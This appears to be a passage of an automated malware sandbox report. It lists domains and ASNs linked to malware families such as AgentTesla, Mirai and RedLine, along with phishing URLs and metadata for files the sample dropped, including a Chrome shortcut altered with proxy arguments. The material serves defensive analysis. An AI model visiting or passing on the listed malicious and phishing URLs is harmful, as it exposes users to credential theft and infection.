	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	DHL DETAILS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tmpfiles.org	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	104.21.21.16
	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.21.21.16
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse	104.21.21.16
	https://aeindo.co.id/cvt/	Get hash	malicious	Unknown	Browse	104.21.21.16
	https://pmb.stitmakrifatulilmi.ac.id/scv/	Get hash	malicious	HTMLPhisher	Browse	172.67.195.247
	https://central-lab.by/rstc/	Get hash	malicious	Unknown	Browse	172.67.195.247
	https://kurindubaitullah.com/lpwx00	Get hash	malicious	Unknown	Browse	104.21.21.16
	doc0987654321u.exe	Get hash	malicious	Unknown	Browse	104.21.21.16
	starter.sh	Get hash	malicious	Unknown	Browse	104.21.21.16
bflow-musico.fun	SecuriteInfo.com.FileRepMalware.25938.2401.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.25938.2401.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	7qRAdqzglF.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	7qRAdqzglF.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	CNqG8pdNEt.exe	Get hash	malicious	XFiles Stealer	Browse	172.67.141.68
	BVPnNKMEXh.exe	Get hash	malicious	Unknown	Browse	172.67.141.68
	file.exe	Get hash	malicious	XFiles Stealer	Browse	172.67.141.68
	file.exe	Get hash	malicious	XFiles Stealer	Browse	172.67.141.68
bg.microsoft.map.fastly.net	http://my-site-101974-102059.weeblysite.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://hm-revenue-customs_income_tax-enquiries-668d3b1e91ce1.smartaromas.com/income-individual_service_tax-gg-check-hm/applyClaim.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://meettamaskk-loggiin.gitbook.io/usa	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://pub-9ebdc9c3bd854ec3927f8701047f2468.r2.dev/secure.html	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	http://frejuslangevin1234.wixsite.com/mesagerie-vocal	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://cw08037.tw1.ru/oro/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://dev-651454514514.pantheonsite.io/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://dev-79794988.pantheonsite.io/	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://www.veathika.com/cgi-bin/june.php	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://pub-3bc8a1a44abe443d986ec9d918803f0b.r2.dev/hjkoped.html	Get hash	malicious	Unknown	Browse	199.232.214.172
api.proxyscrape.com	UrQrIdRfCg.exe	Get hash	malicious	Unknown	Browse	104.18.11.5
	UrQrIdRfCg.exe	Get hash	malicious	Unknown	Browse	104.18.10.5
	UrQrIdRfCg.exe	Get hash	malicious	Unknown	Browse	104.18.10.5

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NANO-ASLV	TYxryaQOKO.elf	Get hash	malicious	Mirai	Browse	86.63.174.254
	w69QLZ61Kq.elf	Get hash	malicious	Mirai	Browse	83.241.94.59
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	31.170.22.127
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	31.170.22.127
	bUuAPqXmkL.elf	Get hash	malicious	Mirai	Browse	83.241.94.23
	XIu2eKNZ8m.elf	Get hash	malicious	Mirai	Browse	83.241.71.111
	UksgYUGMnj.elf	Get hash	malicious	Mirai	Browse	83.241.69.92
	35YUJoJHtk.elf	Get hash	malicious	Mirai	Browse	83.241.94.83
	You've Been Sent A Secure Document.eml	Get hash	malicious	HTMLPhisher	Browse	5.44.220.14
	wbHziCLDIg.elf	Get hash	malicious	Mirai	Browse	83.241.94.26
CELLCOUS	jew.m68k.elf	Get hash	malicious	Unknown	Browse	72.110.131.103
	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	97.25.60.241
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	174.225.164.143
	jew.spc.elf	Get hash	malicious	Mirai	Browse	97.7.148.173
	jew.x86.elf	Get hash	malicious	Mirai	Browse	75.236.196.181
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	174.194.130.1
	sora.spc.elf	Get hash	malicious	Mirai	Browse	70.220.119.21
	gw3yTM2uiZ.elf	Get hash	malicious	Mirai	Browse	166.250.246.180
	zisD7MC388.elf	Get hash	malicious	Mirai	Browse	174.39.23.54
AMAZON-AESUS	Memo98767_innocap.com.htm	Get hash	malicious	HTMLPhisher	Browse	34.195.158.27
	http://my-site-101974-102059.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.228.185.195
	https://parthsharma13.github.io/netflixcloneusingtailwind	Get hash	malicious	Unknown	Browse	54.145.90.155
	http://frejuslangevin1234.wixsite.com/mesagerie-vocal	Get hash	malicious	Unknown	Browse	184.73.73.222
	https://home-wlletconnect.gitbook.io/us	Get hash	malicious	Unknown	Browse	34.202.12.162
	http://notifyhubss.net/4d98cfdadudd0c4222l8ec2903al2ea071e2.html__	Get hash	malicious	Unknown	Browse	52.86.190.19
	https://walletconnect--safe.gitbook.io/us	Get hash	malicious	Unknown	Browse	3.217.26.44
	https://walletconnect--safe.gitbook.io/	Get hash	malicious	Unknown	Browse	18.208.66.98
	https://app-walletconnect.gitbook.io/us	Get hash	malicious	Unknown	Browse	107.21.30.162
	https://wallt--connt--cnect.gitbook.io/us	Get hash	malicious	Unknown	Browse	44.194.34.219
ASNLSKZ	Contract 2024-2.pdf	Get hash	malicious	HTMLPhisher	Browse	185.97.113.74
	240506-b7lv1sfmcw_pw_infected.zip	Get hash	malicious	Xmrig	Browse	5.188.64.229
	phish_alert_sp2_2.0.0.0 (14).eml	Get hash	malicious	HTMLPhisher	Browse	185.97.113.74
	https://tanauto.kz/?url=//Rgfstaffing%25E3%2580%2582energycomercio%25E3%2580%2582com%25E3%2580%2582br%2Fomluabie%2Fomowunmis%2FRgfstaffing4i4h7siub%2Fcm9iLnphbmRiZXJnZW5Acmdmc3RhZmZpbmcuY29t	Get hash	malicious	Unknown	Browse	185.97.113.74
	most-x86_64.elf	Get hash	malicious	Mirai	Browse	79.143.20.108
	h3fEC40gwe.elf	Get hash	malicious	Unknown	Browse	87.255.198.179
	https://tanauto.kz/?url=https://woolyx.com/wp-content/auth/milestoneaviation.com/rfarnese@milestoneaviation.com	Get hash	malicious	HTMLPhisher	Browse	185.97.113.74
	BKrGUEtpSQ.elf	Get hash	malicious	Mirai	Browse	93.190.241.121
	qvV34ruRr1.exe	Get hash	malicious	Wannacry	Browse	93.190.241.254
	assailant.i586	Get hash	malicious	Mirai	Browse	79.143.22.217

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x648b6c5e, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584428517915629
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:xaza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	6401C545FECD8FB8B80D2CD690AF3510
SHA1:	9108AE3A150A290803D32E258C7DC8900A0F9A75
SHA-256:	BB0B03A1D21FEA13F16D1650249DCBC164B560C566829C301C93D9E27FB60425
SHA-512:	40FDF3399987A4F5C1D9832509A0131AF249493407EB2156F5011215920FC7C72B51D283C01093936819FD36AFE1A7A5CAE5DDD0A02C419D204B0BEB807C2F8A
Malicious:	false
Reputation:	unknown
Preview:	d.l^... ...............X\...;...{......................T.~..........\|u......\|!.h.\|..........\|u.T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{................................../.q......\|u....................4.....\|u..........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_leg222.exe_e93a6297c5bdea82fab2338927fe5cf48d26dccc_49d9581f_f79482da-6f38-424e-b95d-14919b5fc8ce\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7159435232577396
Encrypted:	false
SSDEEP:	96:dvCFx6x0yYsD9hq4Df7qdfHQXIDcQIc6XibcEtmcw3tLx71z+HbHg/8BRTf3Oy1J:kmVYHzS0W2bONojuGzuiFsZ24IO8K
MD5:	CBEB871175BAEF6EB0232BEB3A54CAB6
SHA1:	7C7DAC5AC70E4B70E167369570686C0FA63A1B64
SHA-256:	74EC183CA29F8D1AD6E90A5D15A1048B224E63F697420D65CDDA54130FD01612
SHA-512:	DEA62AFB0DA94EC8C3215F483BD949DFF00F8D521B718BA49F97D1F23B21EDFFB6EE1DE396043A72502E1A041C33AAB56FC4D5A7A97F4EF182658B1593FB6AF0
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.5.3.2.0.7.6.4.5.4.5.9.7.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.5.3.2.0.7.6.5.2.8.0.3.4.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.7.9.4.8.2.d.a.-.6.f.3.8.-.4.2.4.e.-.b.9.5.d.-.1.4.9.1.9.b.5.f.c.8.c.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.7.5.e.6.b.6.0.-.f.0.3.4.-.4.3.b.2.-.9.1.d.d.-.0.3.f.1.2.8.a.9.7.1.0.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.e.g.2.2.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.4.8.-.0.0.0.1.-.0.0.1.4.-.a.0.2.9.-.d.0.5.b.e.2.d.4.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.d.e.4.5.2.2.b.e.1.4.1.7.0.6.9.d.4.6.f.6.c.c.1.7.f.c.6.1.d.2.e.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.9.f.7.b.0.9.5.7.5.1.1.1.6.c.9.a.6.c.5.6.d.0.9.4.5.c.a.1.2.a.e.1.2.2.d.2.5.3.!.l.e.g.2.2.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B7C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 13 05:06:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	55392
Entropy (8bit):	1.7870994893615402
Encrypted:	false
SSDEEP:	192:rCA9hAUOP93RA2+3vLw2plK/yIPH3xIJvn4Uyi7RfTFmG:mIAVRA2AvLw2plK/lmnVy2RrFN
MD5:	867E6D6FFA67A232A5E1FECC188789D8
SHA1:	7C699C5B9547B06C10F73BB4F6463088BA1295F7
SHA-256:	4BB20EBFB1D53DBD21FB2D71F3947372C341D500902FCDD74B72A520C4AF6C9D
SHA-512:	1BF94B29332F0BE7BDD145AA359EDDB5D83110F785DECDD6E901DDF88046E0F30B34028B33FF5B3CA713D17606665FFEB8E38EB5D383D0A11750B9A4CB2C045E
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .......<..f........................0...........D...f$..........T.......8...........T...............p...........,...........................................................................................eJ..............GenuineIntel............T.......H...:..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C29.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8260
Entropy (8bit):	3.6857267546612413
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6a6H86YpQ6QGxMWgmfSqoODpDT89b8lsfMUm:R6lXJH6c6Yu63xMWgmfSqoOi8+fW
MD5:	28398434CB9708E37F16477045088AB3
SHA1:	885F24C9674F2841BA6B666D2B451312152DAB71
SHA-256:	FD574F1C4BD6DAFFB3DC68F4689FA9ED4EF52C23E7FC9550D5C1A5DB7848A1BB
SHA-512:	9F842CF9200DCF15F0DF3ADE6E30C65B86DB7CDAED8DDD5B8E4EBE62FCCA896B7714C58580156C418935FC1E4DDB59C846CCCE3DD51AA0D24245EF2B59A062C7
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C87.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.422125811612238
Encrypted:	false
SSDEEP:	48:cvIwWl8zs5Jg77aI9cHWpW8VYAYm8M4JSHFXo+q8YidU8w+2d:uIjfLI7a27VsJaokdUJ+2d
MD5:	6E4A9217F97C3AB3777B41823CCF9ABA
SHA1:	C971B348952C98238343B2DCB17F95F26F589588
SHA-256:	F342676575B5B97BC25E26E17425C89BF27AB1E6C270CFD90C4AED4F8B6F4D80
SHA-512:	522E96B16132E7A027B025A74961088C5A22C8CC91DC88BAC32D51E6CAAA91100307B6457BE21DCD3E8518084818724C77FB5A9A853A03B843609C1CDC77B5EA
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="408728" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2CC4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81416
Entropy (8bit):	3.086875435011913
Encrypted:	false
SSDEEP:	768:aOcs0QqlRkCQFxTD+nPpLFKk2ScURpw/s75J26U5+RSkpzzDYk:1csBOsFepRPlcgpwEy6UgRXpzfYk
MD5:	E543233888DB495DA6FE95FD40C52ECA
SHA1:	14F9D9A28BAFF6B5A518D7E199E4FBE05D639EF0
SHA-256:	921E702F7D28197B9E9A4B8566581B1A486665C2CF14E726138A96BC83CAB6E9
SHA-512:	0D74B64FBDEAB0C4887D83134DA1E2AF3049DCAAE25537D95727F4FBBBEED519F6C8C5AF33F84B625228118C8DD3881C39BC8B2ACDECB4848E4A2732D3FDB4B5
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DAF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6841751964100413
Encrypted:	false
SSDEEP:	96:TiZYWkZx0+UMYqDY6WCHwYEZo7/t8iXLWbIwdtPnDaf5bMIk1Io0A3:2ZDknJlmlnDaf5bMIkKBA3
MD5:	B06833D635EDAC2C98477EB92734E694
SHA1:	05F4FEA8B2E16825FFDD70CEE2D10F8A0C7213F0
SHA-256:	820FE965135890A63D94C785A1C301E385CB20ECD8F47DCAE9B2DBC3AB2FCDA8
SHA-512:	75177702E7BD81FFADB065CEBEE40DD71AA741AC33B7E824C46DD67C6F7D1A22F3FC256E8D18EE5141AB90E8723C01D958D0554C63C70090531E0C9F6CB0F3D4
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 13:16:53 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.45122343775873
Encrypted:	false
SSDEEP:	48:8S5l2dfTXdARYrnvPdAKRkdAGdAKRFdAKRE:8S5lO7
MD5:	8E5983C879C5FAC42FB0C7EEFA875A7B
SHA1:	5B1F3DA64EAA501D380340A63E84E24822CB3189
SHA-256:	D553BC18DF0A60384BE4AC4E22406F910D827B90014DBC1A7D8B175D94B9484C
SHA-512:	4F96A80B92F8F356B2B814DCFCC600F398FAB6FB16816A9FFFA1B3182519E43F57C99E4CAB79F4619961EDA7CC9ADF7C7BB65319378460130EB3DA8958B0A1D7
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.......l.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IDW.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWUl....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWUl....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWUl..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDW.r..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VP2pdCInvS.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z73fDV6g4L.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, 